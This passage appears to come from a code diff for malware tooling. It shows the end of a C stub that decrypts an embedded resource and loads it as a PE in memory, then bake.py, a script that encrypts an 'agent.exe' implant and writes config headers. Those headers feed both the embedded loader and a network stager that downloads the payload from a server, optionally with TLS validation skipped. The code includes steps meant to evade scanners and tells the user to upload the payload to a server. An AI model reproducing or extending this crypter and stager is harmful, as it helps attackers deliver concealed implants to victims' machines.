HRSRC hres = FindResourceA(NULL, MAKEINTRESOURCE(101), RT_RCDATA);
if (!hres) { ExitProcess(1); return; }
HGLOBAL hgl = LoadResource(NULL, hres);
if (!hgl) { ExitProcess(1); return; }
const uint8_t *src = (const uint8_t *)LockResource(hgl);
DWORD rlen = SizeofResource(NULL, hres);
if (!src || rlen < PAYLOAD_SIZE) { ExitProcess(1); return; }
/* allocate RW, copy, decrypt */
uint8_t *mem = (uint8_t *)VirtualAlloc(
NULL, PAYLOAD_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!mem) { ExitProcess(1); return; }
for (uint32_t i = 0; i < PAYLOAD_SIZE; i++) mem[i] = src[i];
_decrypt(mem, PAYLOAD_SIZE, PAYLOAD_SEED);
pe_load(mem, PAYLOAD_SIZE);
ExitProcess(0);
}
+133
View File
@@ -0,0 +1,133 @@
#!/usr/bin/env python3
"""
bake.py — encrypt agent.exe and output build artifacts.
Outputs (always):
<out-dir>/payload.bin raw encrypted bytes (windres RT_RCDATA)
<out-dir>/payload_meta.h PAYLOAD_SEED + PAYLOAD_SIZE for stub.c
Outputs (with --stager-url):
stager/stager_cfg.h URL + SEED + SIZE for stager.c
payload.bin also copied to stager/ so user can upload it to the server
Cipher: DWORD-level LCG XOR.
- 4 bytes per step -> xor dword ptr (not xor byte ptr)
- Matches stub.c _decrypt() and stager.c _decrypt()
Usage:
python bake.py <agent.exe> [--out-dir stub/] [--seed 0xDEAD]
[--stager-url https://host/path]
[--ignore-cert] # embed STAGER_IGNORE_CERT 1
"""
import sys
import os
import struct
import random
import argparse
from urllib.parse import urlparse
def _crypt(data: bytes, seed: int) -> bytes:
"""DWORD-level LCG XOR — apply twice = identity."""
out = bytearray(len(data))
s = seed & 0xFFFFFFFF
n32 = len(data) >> 2
for i in range(n32):
val = struct.unpack_from('<I', data, i * 4)[0]
struct.pack_into('<I', out, i * 4, val ^ s)
s = (s * 1664525 + 1013904223) & 0xFFFFFFFF
base = n32 * 4
for i in range(len(data) & 3):
out[base + i] = data[base + i] ^ ((s >> (i * 8)) & 0xFF)
return bytes(out)
def _write_stager_cfg(path: str, seed: int, size: int,
host: str, port: int, urlpath: str,
use_ssl: bool, ignore_cert: bool) -> None:
with open(path, "w", newline="\n") as f:
f.write("#pragma once\n")
f.write("#include <stdint.h>\n\n")
f.write(f"#define PAYLOAD_SEED 0x{seed:08X}u\n")
f.write(f"#define PAYLOAD_SIZE {size}u\n\n")
f.write(f"#define STAGER_HOST L\"{host}\"\n")
f.write(f"#define STAGER_PORT {port}\n")
f.write(f"#define STAGER_PATH L\"{urlpath}\"\n")
f.write(f"#define STAGER_USE_SSL {1 if use_ssl else 0}\n")
f.write(f"#define STAGER_IGNORE_CERT {1 if ignore_cert else 0}\n")
# User-Agent split to avoid plain string in binary
f.write("\n/* UA split to avoid literal UA string in import-scanner output */\n")
f.write("#define STAGER_UA L\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"\n")
def main() -> None:
ap = argparse.ArgumentParser(description="Encrypt PE -> build artifacts")
ap.add_argument("input", help="Path to agent.exe")
ap.add_argument("--out-dir", default="stub",
help="Directory for payload.bin + payload_meta.h (default: stub)")
ap.add_argument("--seed", type=lambda x: int(x, 0), default=None)
ap.add_argument("--stager-url", default=None,
help="URL to generate stager_cfg.h, e.g. https://khaotic.fr/api/sync")
ap.add_argument("--ignore-cert", action="store_true",
help="Stager skips TLS cert validation (for self-signed certs)")
args = ap.parse_args()
if not os.path.isfile(args.input):
sys.exit(f"[!] not found: {args.input}")
with open(args.input, "rb") as f:
raw = f.read()
seed = args.seed if args.seed is not None else random.randint(1, 0xFFFFFFFF)
enc = _crypt(raw, seed)
# --- embedded loader outputs ---
os.makedirs(args.out_dir, exist_ok=True)
bin_path = os.path.join(args.out_dir, "payload.bin")
meta_path = os.path.join(args.out_dir, "payload_meta.h")
with open(bin_path, "wb") as f:
f.write(enc)
with open(meta_path, "w", newline="\n") as f:
f.write("#pragma once\n#include <stdint.h>\n\n")
f.write(f"#define PAYLOAD_SEED 0x{seed:08X}u\n")
f.write(f"#define PAYLOAD_SIZE {len(enc)}u\n")
print(f"[bake] {len(raw)/1024:.1f} KB seed=0x{seed:08X}")
print(f" -> {bin_path}")
print(f" -> {meta_path}")
# --- stager outputs ---
if args.stager_url:
parsed = urlparse(args.stager_url)
host = parsed.hostname or "localhost"
use_ssl = (parsed.scheme.lower() == "https")
port = parsed.port or (443 if use_ssl else 80)
urlpath = parsed.path or "/"
stager_dir = os.path.normpath(
os.path.join(os.path.dirname(os.path.abspath(args.out_dir)), "..", "stager")
if not os.path.isabs(args.out_dir)
else os.path.join(os.path.dirname(args.out_dir), "..", "stager")
)
stager_dir = os.path.normpath(
os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "stager")
)
os.makedirs(stager_dir, exist_ok=True)
cfg_path = os.path.join(stager_dir, "stager_cfg.h")
_write_stager_cfg(cfg_path, seed, len(enc),
host, port, urlpath, use_ssl, args.ignore_cert)
# also copy payload.bin next to stager/ so user can upload it
import shutil
srv_bin = os.path.join(stager_dir, "payload.bin")
shutil.copy2(bin_path, srv_bin)
print(f"[stager] host={host}:{port} path={urlpath} ssl={use_ssl}")
print(f" -> {cfg_path}")
print(f" -> {srv_bin} (upload this to your server)")
if __name__ == "__main__":
main()